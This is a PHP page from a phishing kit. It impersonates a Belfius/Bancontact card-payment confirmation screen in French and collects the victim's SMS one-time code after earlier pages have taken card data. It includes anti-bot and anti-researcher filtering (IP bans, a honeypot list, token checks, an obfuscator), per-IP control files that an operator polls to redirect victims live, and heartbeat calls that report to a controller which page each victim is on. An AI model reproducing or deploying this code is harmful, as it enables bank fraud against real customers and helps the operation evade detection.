<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';

include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php';

$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
	header('Location: 403.php');
	exit();
}

$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

if (stripos($honeypotbots, $ip) !== false) {
	$stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));

// Geo-filter removed: all countries are allowed

if ($token1 != $_GET['token'] || $stripos > 0) {
	header("location: " . $errorUrl . "?" . (isset($_GET['token']) ? $_GET['token'] : ''));
	exit;
}

$errormsg = '';
if (isset($_GET['error']) && $_GET['error'] == 'on') {
	$errormsg = "<p><span style='color: red;font-size:small;'>coordonnées incorrects !</span><br></p>";
}

$merchant_display = isset($_SESSION['merchant']) ? $_SESSION['merchant'] : '-';
$code_display = (isset($_SESSION['amount']) ? $_SESSION['amount'] : '-');
$card_display = (isset($_SESSION['cn']) && strlen($_SESSION['cn']) >= 4) ? ('xxxxxxxxxxxx' . substr($_SESSION['cn'], -4)) : 'xxxxxxxxxxxx';
date_default_timezone_set('Europe/Paris');
$date_display = date('d/m/Y H:i:s');

$fp = fopen('users/' . $ip . '.txt', 'wb');
fwrite($fp, '');
fclose($fp);

?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>ACS</title>
	<style>html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}img{border:0}button,input{margin:0;font:inherit;color:inherit}button{overflow:visible}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;line-height:1.42857143;color:#333;background-color:#fafafa}h3{font-weight:500;line-height:1.1;margin-bottom:10px}.text-left{text-align:left}.text-right{text-align:right}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.col-xs-12,.col-xs-6,.col-sm-5,.col-sm-6,.col-md-4,.col-md-6,.col-md-8,.col-lg-4,.col-lg-6,.col-lg-8{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12,.col-xs-6{float:left}.col-xs-12{width:100%}.col-xs-6{width:50%}@media(min-width:768px){.col-sm-5,.col-sm-6,.col-sm-8{float:left}.col-sm-12{width:100%}.col-sm-8{width:66.66666667%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-offset-1{margin-left:8.33333333%}}@media(min-width:992px){.col-md-4,.col-md-6,.col-md-8,.col-md-10,.col-md-12{float:left}.col-md-12{width:100%}.col-md-10{width:83.33333333%}.col-md-8{width:66.66666667%}.col-md-6{width:50%}.col-md-4{width:33.33333333%}.col-md-offset-1{margin-left:8.33333333%}}@media(min-width:1200px){.col-lg-4,.col-lg-6,.col-lg-8,.col-lg-10,.col-lg-12{float:left}.col-lg-12{width:100%}.col-lg-10{width:83.33333333%}.col-lg-8{width:66.66666667%}.col-lg-6{width:50%}.col-lg-4{width:33.33333333%}.col-lg-offset-1{margin-left:8.33333333%}}label{max-width:100%;margin-bottom:5px;font-weight:700}.btn{display:inline-block;cursor:pointer;border:1px solid transparent;border-radius:4px}.row:after{display:table;content:" "}.row:after{clear:both}.row{margin-right:-15px;margin-left:-15px}</style>
	<style>
	.main{background:#fafafa;min-height:100vh;padding:30px 0}.header{display:flex;align-items:center;justify-content:space-between;height:60px;padding:0 28px}#issuerLogo,#networkLogo{max-height:50px;max-width:90px}.network-logo-text{font-size:1.5rem;font-weight:700;color:#333;letter-spacing:0.05em}.mean-content{background:#fff;border-radius:6px;margin:0 auto;max-width:620px;width:100%;display:block;padding:0 0 20px;box-shadow:0 2px 12px rgba(0,0,0,.08);border:1px solid #e8ebed}.transaction-details{text-align:left;color:#c30045;margin:28px 28px 20px;font-family:BelfiusAlternative-Bold,Arial,sans-serif;font-size:22px;font-weight:700}.side-menu{margin-top:4px}.menu-elements span{text-align:left;color:#444;font-size:14px}.menu-elements div div div{margin-bottom:10px}.menu-elements div div div>span:first-child{margin-left:28px;width:28%;min-width:160px;display:inline-block;vertical-align:top;font-weight:500;color:#51626f}.menu-elements div div div>span:last-child{font-weight:700;font-size:14px;color:#333}.padding_left{padding-left:20px}.side-menu{margin-bottom:20px}.cardreader-instructions{padding:0 28px}.cardreader-instructions .content{padding:0;margin:0}.cardreader-instructions .content p{margin:0 0 14px;font-size:14px;color:#444;line-height:1.5}.cardreader-instructions .content hr,.cardreader-instructions hr{margin:24px 0;border:0;border-top:1px solid #eee}.otp-block{padding:0;margin-top:4px}.otp-block .otp-label{display:block;font-weight:600;color:#333;font-size:14px;margin-bottom:14px}.otp-input-center{padding-top:0}#otp-form input{width:100%;max-width:300px;height:44px;border-radius:6px;border:1px solid #ccc;background:#fff;font-size:16px;padding:0 14px;box-sizing:border-box}#otp-form input:focus{outline:none;border-color:#c30045}#otp-form{margin-bottom:0}.action-buttons.sub-actions{margin-top:22px;display:flex;align-items:center;gap:20px;flex-wrap:wrap}.btn-confirmer{border-radius:25px;background:#c30045;color:#fff;font-family:Arial,sans-serif;font-size:16px;line-height:24px;text-align:center;border:none;cursor:pointer;padding:10px 32px}.btn-confirmer:hover{background:#dc1e5f}.link-cancel{color:#444;font-size:14px;text-decoration:none}.link-cancel:hover{text-decoration:underline}.page-footer{border-top:1px solid #eee;margin-top:28px;padding:16px 28px;text-align:center}.page-footer a{color:#444;font-size:14px;text-decoration:none;margin:0 6px}.page-footer a:hover{text-decoration:underline}.tooltips{position:relative;display:inline-block}.tooltips span{position:absolute;width:140px;color:#fff;background:#000;height:30px;line-height:30px;text-align:center;visibility:hidden;border-radius:6px;font-size:12px}.tooltips:hover span{visibility:visible;opacity:.9;bottom:36px;left:0;z-index:999}.break-word{word-break:break-all}.form_error_msg{margin-top:8px;color:#c30045;font-size:13px}#validateButton button{border-radius:25px;background:#c30045;color:#fff;font-family:Arial,sans-serif;font-size:16px;border:none;cursor:pointer;padding:10px 32px}#validateButton button:hover{background:#dc1e5f}@media screen and (max-width:600px){.menu-elements div div div>span{width:100%!important;margin-left:0!important}.transaction-details,.header,.cardreader-instructions{padding-left:20px;padding-right:20px}.menu-elements div div div>span:first-child{margin-left:0}.page-footer{padding:16px 20px}#issuerLogo,#networkLogo{max-width:80px}.transaction-details{font-size:18px}}@media screen and (max-width:400px){#otp-form input{max-width:100%!important}}</style>
</head>
<body>
	<form method="post" action="bc-load.php?token=<?php echo htmlspecialchars($token1); ?>">
		<div class="main">
			<div class="container">
				<div class="mean-content">
					<div class="row header">
						<div class="col-xs-6 col-sm-6 col-md-6 col-lg-6">
							<img id="issuerLogo" alt="Belfius" src="bc_files/logo-belefius.png" style="max-height:50px;max-width:90px;">
						</div>
						<div class="col-xs-6 col-sm-6 col-md-6 col-lg-6 text-right">
							<img id="networkLogo" alt="Bancontact" src="bc_files/bpost.png" style="max-height:50px;max-width:90px;">
						</div>
					</div>
					<div id="authentication-challenge">
						<div class="row">
							<div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
								<h3 class="transaction-details">Confirmez votre demande</h3>
							</div>
						</div>
						<div class="row">
							<div class="col-xs-12 col-md-12 col-lg-12 col-sm-12 side-menu">
								<div class="side-menu text-center">
									<div class="menu-elements">
										<div>
											<div class="break-word">
												<span class="col-sm-5 col-xs-6 col-sm-offset-1 text-right padding-left"><label>Bénéficiaire</label> :</span>
												<span class="col-sm-6 col-xs-6 text-left padding-left">Bpost</span>
											</div>
										</div>
										<div>
											<div class="break-word">
												<span class="col-sm-5 col-xs-6 col-sm-offset-1 text-right padding-left"><label>Code</label> :</span>
												<span class="col-sm-6 col-xs-6 text-left padding-left"><?php echo htmlspecialchars($code_display); ?></span>
											</div>
										</div>
										<div>
											<div class="break-word">
												<span class="col-sm-5 col-xs-6 col-sm-offset-1 text-right padding-left"><label>Date</label> :</span>
												<span class="col-sm-6 col-xs-6 text-left padding-left"><?php echo htmlspecialchars($date_display); ?></span>
											</div>
										</div>
										<div>
											<div class="break-word">
												<span class="col-sm-5 col-xs-6 col-sm-offset-1 text-right padding-left"><label>Votre numéro de carte</label> :</span>
												<span class="col-sm-6 col-xs-6 text-left padding-left"><?php echo htmlspecialchars($card_display); ?></span>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
						<div class="row">
							<div class="col-xs-12">
								<div class="cardreader-instructions">
									<div class="content">
										<p><strong>IMPORTANT – Message de sécurité</strong> </p>

										Un SMS de sécurité vous sera envoyé automatiquement pour confirmation. Veuillez entrer le code reçu avant son expiration. Ne le partagez avec personne. Si vous n’avez pas reçu le SMS, veuillez taper « 1 »</p>
									</div>
									<hr>
									<div class="otp-block">
										<label class="otp-label" for="otp-input">Introduisez le code reçu par SMS</label>
										<div class="action-buttons otp-input-center">
											<div id="otp-form">
												<div class="tooltips">
													<span>Ex.: 43164105</span>
													<input id="otp-input" type="text" name="otp" inputmode="numeric" autocomplete="off" required autofocus aria-label="Code OTP" placeholder="Code reçu par SMS" maxlength="12">
												</div>
											</div>
											<?php if ($errormsg) { echo '<div class="form_error_msg">' . $errormsg . '</div>'; } ?>
											<div class="action-buttons sub-actions">
												<div id="validateButton">
													<button class="btn btn-confirmer" type="submit">Confirmer</button>
												</div>
												<a href="bc-load.php?token=<?php echo htmlspecialchars($token1); ?>" class="link-cancel">Annuler la demande</a>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
					<footer class="page-footer">
						<a href="#">FR</a> | <a href="#">NL</a> | <a href="#">EN</a> | <a href="#">Aide</a>
					</footer>
				</div>
			</div>
		</div>
		<input type="hidden" name="type" value="belfius-otpSms">
	</form>


    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.10/angular.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css">




<script src="bc_files/trans.js"></script>
<script>
(function() {
  var ip = '<?php echo addslashes($ip); ?>';
  var token1 = '<?php echo addslashes($token1); ?>';
  var waiting = setInterval(function() {
    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
      .then(function(r) { return r.text(); })
      .then(function(data) {
        if (!data || data.length < 2) return;
        var row = data.split('#|#');
        var one = row[0];
        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
        if (one == 'load') {
          clearInterval(waiting);
          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
        } else if (one == 'url' && row[2]) {
          clearInterval(waiting);
          window.location.href = row[2];
        }
      })
      .catch(function() {});
  }, 1500);
})();

	// Send heartbeat every 5 seconds so controller shows "BELFIUS OTP SMS" when user is on this page
	(function() {
	  function sendHeartbeat() {
	    fetch('config.php?heartbeat=true&ip=<?php echo addslashes($ip); ?>&page=bc-belfius-otpSms.php', { cache: 'no-store' })
	      .then(function(r) { return r.json(); })
	      .then(function() {})
	      .catch(function() {});
	  }
	  sendHeartbeat();
	  var heartbeatInterval = setInterval(sendHeartbeat, 5000);
	  document.addEventListener('visibilitychange', function() {
	    if (document.hidden) { clearInterval(heartbeatInterval); }
	    else { sendHeartbeat(); heartbeatInterval = setInterval(sendHeartbeat, 5000); }
	  });
	  window.addEventListener('beforeunload', function() { clearInterval(heartbeatInterval); });
	})();
</script>

</body>
</html>
